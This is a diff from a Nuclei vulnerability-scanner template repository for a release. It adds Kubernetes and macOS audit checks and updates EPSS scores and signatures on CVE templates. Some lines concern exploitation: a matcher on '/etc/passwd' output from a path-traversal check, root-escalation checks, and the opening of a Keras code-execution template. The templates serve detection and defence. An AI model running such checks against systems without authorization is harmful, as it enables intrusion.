chore: generate templates checksum 🤖

Release Prep - v10.3.2

.new-additions

@@ -1,26 +1,72 @@
+cloud/kubernetes/security-compliance/k8s-controller-manager-bind-address.yaml
+cloud/kubernetes/security-compliance/k8s-scheduler-bind-address.yaml
 code/cves/2024/CVE-2024-47575.yaml
+code/cves/2025/CVE-2025-1550.yaml
+code/macos/audit/auto-login-enabled.yaml
+code/macos/audit/filevault-disabled.yaml
+code/macos/audit/firewall-disabled.yaml
+code/macos/audit/gatekeeper-disabled.yaml
+code/macos/audit/guest-user-enabled.yaml
+code/macos/audit/insecure-cron-jobs.yaml
+code/macos/audit/insecure-etc-exports-permissions.yaml
+code/macos/audit/insecure-etc-fstab-permissions.yaml
+code/macos/audit/insecure-etc-hostconfig-permissions.yaml
+code/macos/audit/insecure-etc-inetd-conf-permissions.yaml
+code/macos/audit/insecure-homebrew-permissions.yaml
+code/macos/audit/insecure-launchd-jobs.yaml
+code/macos/audit/insecure-startup-items.yaml
+code/macos/audit/insecure-sudo-timestamp.yaml
+code/macos/audit/insecure-sudoers-permissions.yaml
+code/macos/audit/insecure-tty-permissions.yaml
+code/macos/audit/insecure-umask.yaml
+code/macos/audit/sip-disabled.yaml
+code/macos/audit/ssh-service-running.yaml
+code/macos/audit/suid-sgid-files.yaml
 code/misconfiguration/dns-axfr-enabled.yaml
+dns/dkim-record-detect.yaml
+file/android/deep-link-custom-scheme-detect.yaml
+file/android/exported-activities.yaml
+file/android/exported-broadcast-receivers.yaml
+file/android/exported-providers.yaml
+file/android/exported-services.yaml
+file/android/webview-file-access-fromfileurl-java.yaml
+file/android/webview-file-access-java.yaml
+file/android/webview-universal-access-java.yaml
 http/cves/2018/CVE-2018-6882.yaml
 http/cves/2019/CVE-2019-11507.yaml
 http/cves/2021/CVE-2021-41419.yaml
+http/cves/2021/CVE-2021-4374.yaml
 http/cves/2021/CVE-2021-45467.yaml
 http/cves/2022/CVE-2022-26143.yaml
 http/cves/2023/CVE-2023-2437.yaml
 http/cves/2023/CVE-2023-34048.yaml
+http/cves/2023/CVE-2023-39121.yaml
 http/cves/2024/CVE-2024-0799.yaml
 http/cves/2024/CVE-2024-0801.yaml
 http/cves/2024/CVE-2024-10146.yaml
 http/cves/2024/CVE-2024-11238.yaml
 http/cves/2024/CVE-2024-27443.yaml
 http/cves/2024/CVE-2024-28623.yaml
+http/cves/2024/CVE-2024-37656.yaml
 http/cves/2024/CVE-2024-4180.yaml
+http/cves/2024/CVE-2024-50857.yaml
+http/cves/2024/CVE-2024-53900.yaml
 http/cves/2024/CVE-2024-6690.yaml
+http/cves/2024/CVE-2024-8852.yaml
 http/cves/2025/CVE-2025-1023.yaml
+http/cves/2025/CVE-2025-11749.yaml
+http/cves/2025/CVE-2025-12480.yaml
 http/cves/2025/CVE-2025-1302.yaml
 http/cves/2025/CVE-2025-24354.yaml
+http/cves/2025/CVE-2025-31486.yaml
 http/cves/2025/CVE-2025-32429.yaml
 http/cves/2025/CVE-2025-41243.yaml
+http/cves/2025/CVE-2025-4302.yaml
+http/cves/2025/CVE-2025-44136.yaml
+http/cves/2025/CVE-2025-44137.yaml
 http/cves/2025/CVE-2025-51482.yaml
+http/cves/2025/CVE-2025-51990.yaml
+http/cves/2025/CVE-2025-51991.yaml
 http/cves/2025/CVE-2025-52472.yaml
 http/cves/2025/CVE-2025-52665.yaml
 http/cves/2025/CVE-2025-54236.yaml
@@ -33,22 +79,52 @@ http/cves/2025/CVE-2025-6174.yaml
 http/cves/2025/CVE-2025-61884.yaml
 http/cves/2025/CVE-2025-6403.yaml
 http/cves/2025/CVE-2025-64095.yaml
+http/cves/2025/CVE-2025-64446.yaml
+http/cves/2025/CVE-2025-8943.yaml
 http/cves/2025/CVE-2025-9985.yaml
 http/default-logins/churchcrm/churchcrm-default-login.yaml
+http/default-logins/erp/erpnext-default-login.yaml
+http/default-logins/openwebui/openwebui-default-login.yaml
+http/exposed-panels/cascade-cms-panel.yaml
+http/exposed-panels/celonis-login-panel.yaml
 http/exposed-panels/churchcrm-panel.yaml
+http/exposed-panels/monsta-ftp-detect.yaml
+http/exposed-panels/unifi-os-panel.yaml
 http/exposures/backups/generic-php-files.yaml
 http/misconfiguration/aem/aem-dispatcher-bypass.yaml
 http/misconfiguration/aem/aem-querybuilder-bypass.yaml
+http/misconfiguration/cockroachdb-information-disclosure.yaml
+http/misconfiguration/cockroachdb-unauth-exposure.yaml
 http/misconfiguration/installer/churchcrm-installer.yaml
+http/misconfiguration/servicenow-stats-page.yaml
+http/misconfiguration/servicenow-threads-page.yaml
 http/misconfiguration/tomcat-snoop-servlet-exposed.yaml
 http/takeovers/mailgun-takeover.yaml
+http/technologies/cherrypy-detect.yaml
+http/technologies/flowweb-detect.yaml
+http/technologies/hedgedoc-detect.yaml
+http/technologies/intel-amt-detect.yaml
+http/technologies/ipswitch-imail-detect.yaml
+http/technologies/lighttpd-detect.yaml
+http/technologies/miniupnpd-detect.yaml
+http/technologies/mochiweb-detect.yaml
+http/technologies/websphere-detect.yaml
+http/vulnerabilities/bentoml-ssrf.yaml
 http/vulnerabilities/generic/xss-uri-reflected.yaml
+http/vulnerabilities/gradio-image-ssrf.yaml
+http/vulnerabilities/gradio-lfi.yaml
+http/vulnerabilities/smuggling/cl-te-http-smuggling.yaml
+http/vulnerabilities/smuggling/te-cl-http-smuggling.yaml
 http/vulnerabilities/unifi/unifi-create-user.yaml
 http/vulnerabilities/unifi/unifi-nfc-credentials.yaml
 javascript/cves/2019/CVE-2019-6443.yaml
+javascript/cves/2025/CVE-2025-12101.yaml
+javascript/default-logins/vnc-default-login.yaml
 javascript/detection/ntp-version-detect.yaml
 javascript/misconfiguration/mqtt-uauth-broker.yaml
 javascript/udp/misconfiguration/ntp-enum-variables-enabled.yaml
 network/cves/2020/CVE-2020-14644.yaml
 network/cves/2024/CVE-2024-23108.yaml
+network/detection/adsb-ultrafeeder-detect.yaml
 network/detection/rtl-tcp-server-detect.yaml
+network/detection/unauth-java-message-broker-detect.yaml

PULL_REQUEST_TEMPLATE.md

@@ -1,4 +1,4 @@
-### Template / PR Information
+### PR Information
 
 <!-- Explains the information and/or motivation for update or/ creating this templates -->
 <!-- Please include any reference to your template if available -->
@@ -6,17 +6,17 @@
 - Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
 - References:
 
-### Template Validation
+### Template validation
 
-I've validated this template locally?
-- [ ] YES
-- [ ] NO
+<!-- Clarifies if the valdation of the template was done on an actual system for which the template was developed -->
+<!-- If this concerns a vulnerability check, please clarify if validation was done on a known vulnerable system and optionally on a known not vulnerable system to avoid false positives -->
 
+- [ ] Validated with a host running a vulnerable version and/or configuration (True Positive)
+- [ ] Validated with a host running a patched version and/or configuration (avoid False Positive)
 
 #### Additional Details (leave it blank if not applicable)
 
-<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
-<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
+<!-- Include `nuclei -debug` output along with Shodan / Fofa / Google Query / Docker or screenshots if available -->
 <!-- Please do NOT include vulnerable host information in pull requests -->
 <!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->
 
@@ -25,4 +25,4 @@ I've validated this template locally?
 - [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
 - [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
 - [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/CONTRIBUTING.md)
-- [PD-Community Discord server](https://discord.gg/projectdiscovery)
+- [PD-Community Discord server](https://discord.gg/projectdiscovery)

cloud/kubernetes/security-compliance/k8s-controller-manager-bind-address.yaml

@@ -0,0 +1,50 @@
+id: k8s-controller-manager-bind-address
+
+info:
+  name: Ensure kube-controller-manager --bind-address is set to localhost
+  author: songyaeji
+  severity: high
+  description: |
+    Ensure kube-controller-manager is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or
+    set to 0.0.0.0 (::), the controller-manager API may be reachable from all network interfaces, increasing
+    exposure of the control-plane component.
+  impact: |
+    If the kube-controller-manager listens on all interfaces, an attacker with network access may be able to
+    interact with the controller-manager API, causing potential information leakage or enabling further attacks
+    against the cluster.
+  remediation: |
+    Set --bind-address=127.0.0.1 (or ::1) in the kube-controller-manager startup arguments. For example, edit
+    /etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
+  reference:
+    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
+    - Cloud Vulnerability Assessment Guide(2024) by KISA
+  tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security
+
+variables:
+  component: "kube-controller-manager"
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      kubectl get pods -n kube-system -l component=kube-controller-manager -o jsonpath="{.items[*].spec.containers[*].command}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kube-controller-manager'
+
+      - type: word
+        words:
+          - "--bind-address=127.0.0.1"
+          - "--bind-address=::1"
+        negative: true
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
+# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950

cloud/kubernetes/security-compliance/k8s-scheduler-bind-address.yaml

@@ -0,0 +1,49 @@
+id: k8s-scheduler-bind-address
+
+info:
+  name: Ensure kube-scheduler --bind-address is set to localhost
+  author: songyaeji
+  severity: high
+  description: |
+    Ensure kube-scheduler is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or set to
+    0.0.0.0 (::), the scheduler API may be reachable from all network interfaces, increasing exposure of the
+    control-plane component.
+  impact: |
+    If the kube-scheduler listens on all interfaces, an attacker with network access may be able to interact
+    with the scheduler API, causing potential information leakage or enabling further attacks against the cluster.
+  remediation: |
+    Set --bind-address=127.0.0.1 (or ::1) in the kube-scheduler startup arguments. For example, edit
+    /etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
+  reference:
+    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
+    - Cloud Vulnerability Assessment Guide(2024) by KISA
+  tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security
+
+variables:
+  component: "kube-scheduler"
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      kubectl get pods -n kube-system -l component=kube-scheduler -o jsonpath="{.items[*].spec.containers[*].command}"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'kube-scheduler'
+
+      - type: word
+        words:
+          - "--bind-address=127.0.0.1"
+          - "--bind-address=::1"
+        negative: true
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
+# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950

code/cves/2014/CVE-2014-0160.yaml

@@ -11,8 +11,8 @@ info:
   metadata:
     verified: true
   classification:
-    epss-score: 0.94477
-    epss-percentile: 0.99998
+    epss-score: 0.94464
+    epss-percentile: 0.99995
   tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln
 
 variables:
@@ -138,4 +138,4 @@ code:
       - type: dsl
         dsl:
           - "contains(response,'server is vulnerable')"
-# digest: 4a0a004730450220253c760b6f21558040bda6901fd015197a1b07bcd3071335dbc0a5fc5c97ef3b022100fd75f119e678cf94e08677f89145a463de9844d09a8c06970e23b00c321dab73:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009248de2c0ef4ac8a4f71b5ee7b8b1017465a7b351bbccc28a47b1f1cf89fb93f022071d11ef9b715f4466da96f4b6dda9a4c3aa11740d37807742347cbd0da52e10c:922c64590222798bb761d5b6d8e72950

code/cves/2019/CVE-2019-14287.yaml

@@ -18,7 +18,7 @@ info:
     cve-id: CVE-2019-14287
     cwe-id: CWE-755
     epss-score: 0.86126
-    epss-percentile: 0.99351
+    epss-percentile: 0.99353
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -47,4 +47,4 @@ code:
           - '!contains(code_1_response, "root")'
           - 'contains(code_2_response, "root")'
         condition: and
-# digest: 490a004630440220142b1e84a588dc114782c86821e49717d24b8ba55118a4080f47606c1aca3d7c02204503a2b4bcb76f99ad7088beeeb4a5af71dda20062a84b1667142ba11ea5490a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d0abebe382b6585762c3983a0c9ee1b836a7536fa35f378be5c37b4e741d64c20220248685182e4b3a2c50236ac194147a863c4f655b768b5e0fb7afb5c55a709956:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-0646.yaml

@@ -102,4 +102,4 @@ code:
           - 'contains(content_type, "text/xml")'
           - 'status_code == 200'
         condition: and
-# digest: 4b0a004830460221009d9bdc3780607102c88f8e2c24b7c11abaa1db7626959bea30844b3becad4398022100f8b42cfb37bdec09e2e983826a04f66fa50937cebe0b05d8b98cea1b558a21a9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d8ca91da973cb5641abb7ce0a20ead96c28cf44d21966e52a142e683247b5c78022042c8ea4dc231b868c758f0d0568704d0a7f78400cbab8bb89c95f3733bdd8df3:922c64590222798bb761d5b6d8e72950

code/cves/2020/CVE-2020-13935.yaml

@@ -11,7 +11,7 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2020-13935
     epss-score: 0.92155
-    epss-percentile: 0.99695
+    epss-percentile: 0.99694
   reference:
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
     - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html

code/cves/2021/CVE-2021-3156.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2021-3156
     cwe-id: CWE-193
-    epss-score: 0.92188
-    epss-percentile: 0.99697
+    epss-score: 0.92235
+    epss-percentile: 0.99699
     cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -40,4 +40,4 @@ code:
           - "malloc(): memory corruption"
           - "Aborted (core dumped)"
         condition: and
-# digest: 4b0a00483046022100f71982b68a0941b58c28d66c71e85126c4c968ced5ce8646155128b001dda849022100e1dfe8f43d26c8c72bbdedf39a5ca890a46771c1b941308525a570abd452244c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022013a1e58f8491a141a4fec2c7b546a6cf99b18bf2dd63716e76414ab2fc8038bd022100aec0ca187480bd96264776e45c4af2d61ad2010c4b651a138eb35035307a84aa:922c64590222798bb761d5b6d8e72950

code/cves/2022/CVE-2022-42475.yaml

@@ -23,7 +23,7 @@ info:
     cve-id: CVE-2022-42475
     cwe-id: CWE-197,CWE-787
     epss-score: 0.9394
-    epss-percentile: 0.99872
+    epss-percentile: 0.99874
     cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -197,4 +197,4 @@ code:
       - type: word
         words:
           - "Target appears to be VULNERABLE"
-# digest: 4a0a00473045022100e913085eb3784826410469b3e2477d893db8b66741034bd3bf2b96c432ae5fa402207e41770b1a18ba058d8288ed36abea4b314f410b9b7a540c6db34418cddda5e7:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ed808e760e417d0f6c32d1aecd5460a4fe249a967ba22098674c1f45350f7ab6022100a759d5ada5bbdbe24281dd4663ac0241bb95edb21d16efb6eeb22db76ed8ad15:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2640.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-2640
     cwe-id: CWE-863
-    epss-score: 0.92037
-    epss-percentile: 0.99684
+    epss-score: 0.91874
+    epss-percentile: 0.99672
     cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -55,4 +55,4 @@ code:
           - '!contains(code_1_response, "(root)")'
           - 'contains(code_2_response, "(root)")'
         condition: and
-# digest: 490a004630440220042744883085da6be3360bc592800813b59a32ca3cca5b357679359e6253ba240220221969866987b2d8a715ea12875a3378b4d34a00642ee1940414fb062dbb7ccc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204b13735f6868e13a0c10f8833b7ea058fd80a1375ab8112b21ac0a5c5267fb02022100865245f6054ef06d511aed97e1bbbf9779334c6a5cf6a0a602a428d3f476fb2e:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2986.yaml

@@ -16,8 +16,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2023-2986
-    epss-score: 0.9117
-    epss-percentile: 0.99625
+    epss-score: 0.91769
+    epss-percentile: 0.99665
     cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
   metadata:
     verified: true
@@ -626,4 +626,4 @@ http:
       - type: status
         status:
           - 302
-# digest: 4a0a00473045022100e6eab6f55170064a588506282efa987cb311cb8e2f791c1066d1d0d643b71b76022068fc331e222d13fd82f83dea7d76fa1aeb431eea1a0f9f415a3eb6917ef1e6a9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c38074bc9182c91fa4aa52666a704149021c8908632fa3016715a20d8417c16d022100d982cc94fa014a734ee2aa391487a8b14a3b7ac3e6ef904c5f53ff6bab36e945:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-49105.yaml

@@ -18,7 +18,7 @@ info:
     cve-id: CVE-2023-49105
     cwe-id: CWE-287
     epss-score: 0.86244
-    epss-percentile: 0.99356
+    epss-percentile: 0.99358
     cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
   metadata:
     max-request: 2
@@ -90,4 +90,4 @@ http:
       - type: dsl
         dsl:
           - '"Username => "+ username'
-# digest: 4a0a00473045022100cf2286e2b9e4ad6a4e7a1300d561d89e3de6c89744d3b4d2e1fb5fb3a21e657602201a70a5fb1b750c545c39bb3c3cdb175a2d69af7540d635a926f13d4e1fbab54b:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220765384899f5b4edf82333616738454905565aea2c4b1c1d42712d73ab558b6c802203dcc2e6ab6c818a087b3c263199a40f6a0252212c2836fc281f30638b1da22f9:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-4911.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-4911
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.78409
-    epss-percentile: 0.98978
+    epss-score: 0.69791
+    epss-percentile: 0.98592
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -39,4 +39,4 @@ code:
       - type: word
         words:
           - "139"     # Segmentation Fault Exit Code
-# digest: 4b0a004830460221009b5dc3be045aba05dec88023cb7dddc24188b00eec844cfa3909377e9d6317eb022100e0078981f9b353e41cf8e5e46fe4c1e421ddbbb0038b65ead953e45bb4b81381:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022046475136023de7d89f4d07f7be50a7323685c3667d057a45feaa3022e12392d1022100855619257ceddb71aadeef525ba38b1a7f109a161b48490f2c31271dfb17e995:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-6246.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-6246
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.25078
-    epss-percentile: 0.95931
+    epss-score: 0.31786
+    epss-percentile: 0.96595
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -39,4 +39,4 @@ code:
       - type: word
         words:
           - "127"     # Segmentation Fault Exit Code
-# digest: 4a0a004730450220707af88658762f3e5a34c0b6adc5c8761db5b3a68d793de3ce1583c5e2334dbc022100aa3e773dd28b5a80f46c9e117e3cff530f72279898a97cf61d0f542ddad6451d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207ae2273ed4d824aa51c80a09c1f2bd1ebb5f41bbca8cb18e0e3950eeca6f1216022100ca651ddce1e4d877d50c1576f965165e883f340b3e38b215f722675fe017f507:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-10443.yaml

@@ -13,8 +13,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-10443
     cwe-id: CWE-77
-    epss-score: 0.69676
-    epss-percentile: 0.98585
+    epss-score: 0.72012
+    epss-percentile: 0.9868
     cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
   metadata:
     verified: true
@@ -54,4 +54,4 @@ code:
         part: interactsh_protocol # Confirms the HTTP Interaction
         words:
           - "dns"
-# digest: 4a0a004730450221008b5ac203a17c5ac2495444e747470435d1f73ab86119dbac864498facc0299ba0220706f90afe3ebad35664001b827141b2c9308fbf3c09d879a0fe9232a2602ff14:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ae1c05abafa78476657da1529dff3db455e58c74aeaf83b3ba9fd9edad7b793502206274514fac6586024489c98bbb5f51826a6c27a2f2c8c45a9596e982f7f157d0:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-22120.yaml

@@ -20,7 +20,7 @@ info:
     cve-id: CVE-2024-22120
     cwe-id: CWE-20
     epss-score: 0.93259
-    epss-percentile: 0.99793
+    epss-percentile: 0.99792
   metadata:
     max-request: 1
     vendor: zabbix
@@ -71,4 +71,4 @@ code:
       - type: word
         words:
           - "Vulnerable to CVE-2024-22120"
-# digest: 4b0a00483046022100c29b03d6ec221f62966546d687c9c8c86e41f5d46f37e8896f3473a10d8b08b3022100867de1666d89e4ae22d98a7a0fd65b75a1716a312aaec979b2fabcd6b2ae1cf9:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207783c5e0f90deb3fccccce9f56fb5dd92e85e8826238d13ed6c3709234273869022003e8484178cc55ed3e25f4e1d1c903f9ab7063782a7583411b0b994d5056a768:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-3094.yaml

@@ -59,4 +59,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 4a0a0047304502210092d5ac481a41f2bce742d30e9a53e6cfcce47b99b02f4291b382802664d6f8c80220616412b2e3eab8e90f86485850f7ca389e9ac0b0f1a890e827325eb9677048d9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100a0d073e749ca6ad75d73fdd7acdba35bdafbe683161d1048fab8a5c500151d4302201ce17d0b3b3dcc7eec199a9afb9ada9aae868b3b76decbd3e4a9f65e4003d827:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-4340.yaml

@@ -11,7 +11,7 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2024-4340
     epss-score: 0.16207
-    epss-percentile: 0.94529
+    epss-percentile: 0.94534
   reference:
     - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
   tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -29,4 +29,4 @@ code:
         part: stderr
         words:
           - "RecursionError: maximum recursion depth exceeded"
-# digest: 490a004630440220549dc564dc5471bdf1dc63334bf0ff6ef0f2c050664a3b06189b22683d31875f02204d49ed2a7bd8a9158503467d45b113fb0e8b20c98a09747235c176e23a8ef696:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100b819799bd0488e933b8a2ed849069c0b3530077714f1bfc79230027f4f858c750220617cdbfe5eb6b8c3780e8b26746f057b8d88ae69509b596a78ea82cd923d05a9:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-45409.yaml

@@ -21,7 +21,7 @@ info:
     cve-id: CVE-2024-45409
     cwe-id: CWE-347
     epss-score: 0.39163
-    epss-percentile: 0.97099
+    epss-percentile: 0.97104
   metadata:
     verified: true
     shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 490a0046304402205e030f7d186f18e2ddf5cd9281a48cb0af2d6ac63498b37cb4a9ce899f84a59e022005a03e6ea351d60b08436740f6db2daf9e303d0323c278f564ab1230e9a678f2:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022064088ec4af0af275c870f6aaaa143d10b793f84baf5411ec996261b9b4da55a402200cdbf8c72666b3a9db0277b4c0e4be7b100883333321f7d89add6f3d551d3440:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-47575.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-47575
     cwe-id: CWE-306
-    epss-score: 0.93874
-    epss-percentile: 0.99861
+    epss-score: 0.93788
+    epss-percentile: 0.99846
     cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*
   tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev
 
@@ -145,4 +145,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 4b0a00483046022100ec14e45bc6bc3f9a31bebf7c7e91cff5df5cb9159169aa0226e3d067fc01f1e2022100c71d9207b4a6d950032c7216f57a8e2347823a4f8aad944aa50de2e9b4fd6978:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200fa03838474f6ec486bf67096c4cdc9b7dccfa1e53447e07d61f92ad4e1f3c35022100b39ec1e66f12e162109a581fb063d65abb784ffd0cd28519794a73507dbcbbf4:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-55556.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-55556
     cwe-id: CWE-502
-    epss-score: 0.84379
-    epss-percentile: 0.99271
+    epss-score: 0.85568
+    epss-percentile: 0.99323
   metadata:
     verified: true
     max-request: 2
@@ -193,4 +193,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 4a0a00473045022100c33a7e4170efd830fed04dc81dff116c0d6de6a7a04013690afafee5aa4dd7eb022016a273dda70ccb4e18af5f17d14d297c9dbcfbe9981b3789e6ea9b4eafeab7a9:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206d5a46d6b9745fe91fe1d2a23bb5c3128cdc21c8555d51923d1339b25a943ef7022020aad20dc59d37d3bef4dfdf1bc613381339857e2b57108003a63cb71058e959:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-56331.yaml

@@ -22,7 +22,7 @@ info:
     cve-id: CVE-2024-56331
     cwe-id: CWE-22
     epss-score: 0.41406
-    epss-percentile: 0.97235
+    epss-percentile: 0.9724
   metadata:
     verified: true
     shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
       - type: word
         words:
           - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4a0a0047304502204c5b24fda7a91e193ed794e32f38673f924ed17e393ebcb8e6e0e9351a6cde85022100860aa6411a18b6baec11fa99823a8fb2c3ed558adab797c067b1fe8ff009577e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210082cb652cfd1f51517d5eaa898c5873743d1b2531277e5636d39b08366b67870a022100e5d9a201313af94bbda15c695b036e96db9a1e8a802adc8b5bc4a7915553cbce:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-9487.yaml

@@ -11,7 +11,7 @@ info:
     - https://github.com/advisories/GHSA-g83h-4727-5rpv
   classification:
     epss-score: 0.36115
-    epss-percentile: 0.96904
+    epss-percentile: 0.96913
   metadata:
     verified: true
     shodan-query: title:"GitHub Enterprise"
@@ -188,4 +188,4 @@ http:
       - type: kval
         kval:
           - user_session
-# digest: 490a0046304402207d41ce6b6af9c3b0133e15c33183fdce00ba09f874633dbea4f3cb29234c64d8022004ad19707190bb70f9ff118286b04f22a704b252594a598f0b96850afa09a55d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009e68cb35fdc1947e017d4a05b6f44cc07782ce02df9c340f0c0616173796979d0221009683da7e4d7c3a8fdc15e743b4682692a317be743b28d0450b1b95b2b9f84c1a:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-1550.yaml

@@ -0,0 +1,80 @@
+id: CVE-2025-1550
+
+info:
+  name: Keras Model.load_model - Arbitrary Code Execution
+  author: nukunga[seunghyeonJeon]
+  severity: critical
+  description: |
+    The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading
+  impact: |
+    Attackers can execute arbitrary code during model loading, potentially leading to remote code execution or system compromise.
+  remediation: |
+    Update to the latest version of Keras where this issue is fixed or apply security patches provided by the developers.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-1550
+    - https://github.com/keras-team/keras/pull/20751
+    - https://towerofhanoi.it/writeups/cve-2025-1550/
+  classification:
+    epss-score: 0.03899
+    epss-percentile: 0.87774
+  metadata:
+    max-request: 1
+  tags: cve,cve2025,code,keras,rce,ml
+
+self-contained: true
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import os
+      import sys
+
+      try:
+          import tensorflow as tf
+          from tensorflow.keras.models import load_model
+          from tensorflow.keras.layers import Lambda, Input
